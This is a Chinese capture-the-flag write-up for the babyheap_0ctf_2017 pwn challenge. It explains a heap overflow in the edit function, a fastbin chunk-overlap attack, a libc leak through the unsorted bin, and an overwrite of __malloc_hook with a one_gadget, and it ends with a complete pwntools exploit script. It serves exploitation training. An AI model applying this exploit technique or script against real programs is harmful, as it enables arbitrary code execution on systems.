[BUUCTF]PWN——babyheap_0ctf_2017
首先查看保护
全开是吧!!!
放神的武器ida里面看看
main函数一眼,菜单题
add函数就很正常,调用calloc函数来申请堆块。(calloc函数和malloc函数的区别就是是否进行初始化,虽然calloc初始化看着更安全点,但是性能特别慢,而且在实际环境中好多变量都不需要进行初始化)
edit函数,发现一个问题就是size没有做限制,但有个loophole函数
好吧,就是正常的读
delete函数,很标准,没有uaf。
show函数也很正常
很正常的输出
利用点
分析完,有那个无线长度编辑。
分析exp
申请5个chunk,在free掉chunk_1,chunk_2。在修改chunk_2的fd指针的低两字节的值为0x80,将其修改为chunk_4的地址,在修改chunk_4的size位为0x21。
50315c790ba99b46f8f72f37490c146a.png
此时查看fastbins,此时fastbins里面有两个chunk,一个是chunk_4,一个是chunk_2
在申请回来两个chunk,利用fastbins后进先出。现在chunk_4和chunk_2堆重叠了。
在恢复chunk_4的size大小,再申请一小块内存,防止你后面delete chunk_4的时候其与top chunk合并
现在delete chunk_4,其会进入到unsortbins里面,接下来就是套路了。
泄露main_arena后面进而得到libc_base的值,后面malloc_hook那里找到一块0x7f的内存,来供我申请chunk。该怎么找呢?可以看我的另一篇文章(刚写完,哈哈哈哈哈)。在这里不赘述了。
找申请的chunk位置,fakechunk。最后再利用我们的fastbins的手法,申请回来chunk_4的内存,但不要全部申请完,因为如果我直接申请一个0x80,后面delete的时候它会进入到unsortbins里面,不好利用。
因为chunk_2和chunk_4重叠,所以我可以修改这个free的chunk_4的内容,将其fd指针改成我的fake_chunk的位置
最后就是申请到我们的fake_chunk的内容,进而修改,malloc_hook为one_gadget的值。
小白肯定好奇为啥,用的是calloc为啥修改malloc,因为调用calloc会使用到malloc。还有疑惑这个
怎么得到的呢。你看看上一张图哪个后面-0x1b。你这个offset就是0x1b-0x8。
getshell
exp
def exp():
libc = ELF("/home/da1sy/environment/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
# libc = ELF("/home/da1sy/environment/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")
# libc = ELF("/home/da1sy/environment/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.23.so")
# libc = ELF("/home/da1sy/environment/glibc-all-in-one/libs/2.27-3ubuntu1.5_i386/libc-2.23.so")
def add(size):
io.recvuntil("Command:")
io.sendline('1')
io.recvuntil("Size:")
io.sendline(str(size))
# io.recvuntil("\n")
# io.sendline(name)
# io.recvuntil("\n")
# io.sendline(content)
def edit(index,content):
io.recvuntil(b"Command:")
io.sendline('2')
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Size:')
io.sendline(str(len(content)))
io.recvuntil('Content:')
io.send(content)
def show(index):
io.recvuntil("Command:")
io.sendline('4')
io.recvuntil('Index:')
io.sendline(str(index))
def delete(index):
io.recvuntil("Command:")
io.sendline('3')
io.recvuntil("Index:")
io.sendline(str(index))
add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4
delete(1)
delete(2)
padding = p64(0)*3 + p64(0x21)
payload = padding*2 + p8(0x80)
edit(0,payload)
edit(3,padding)
add(0x10)#1 这个把原来chunk_2申请回来了
add(0x10)#2 这个chunk其实和4号重叠了
payload = p64(0)*3 + p64(0x91)
edit(3,payload)# 恢复chunk_4的size大小
add(0x20)# 5防止其与topchunk合并的
delete(4)#chunk被放到了unsortbins里面
show(2)
unsortbins_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.info(f'unsortbins_addr = {hex(unsortbins_addr)}')
main_arena = unsortbins_addr - 0x58
log.info(f'main_arena = {hex(main_arena)}')
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
log.info(f'libc_base = {hex(libc_base)}')
payload = p64(main_arena - 0x18 - 0x1b)
log.info(f'fake_chunk = {hex(main_arena - 0x18 - 0x1b)}')
add(0x60)#4 申请不可以大于0x80,防止你后面chunk4进入到unsortbins里面
delete(4)# 这一步申请回来主要是为了让chunk4进入到fastbins里面
payload = p64(main_arena - 0x18 - 0x1b)
edit(2,payload)
add(0x60)#5 将上一步申请的chunk给得到
add(0x60)#6 得到我们的fake chunk
payload = p8(0)*3 + p64(0) * 2 + p64(libc_base + 0x4526a)
log.info(f'one_gadget = {hex(libc_base + 0x4526a)}')
edit(6,payload)
add(0x10)
gdb()
exp()
io.interactive()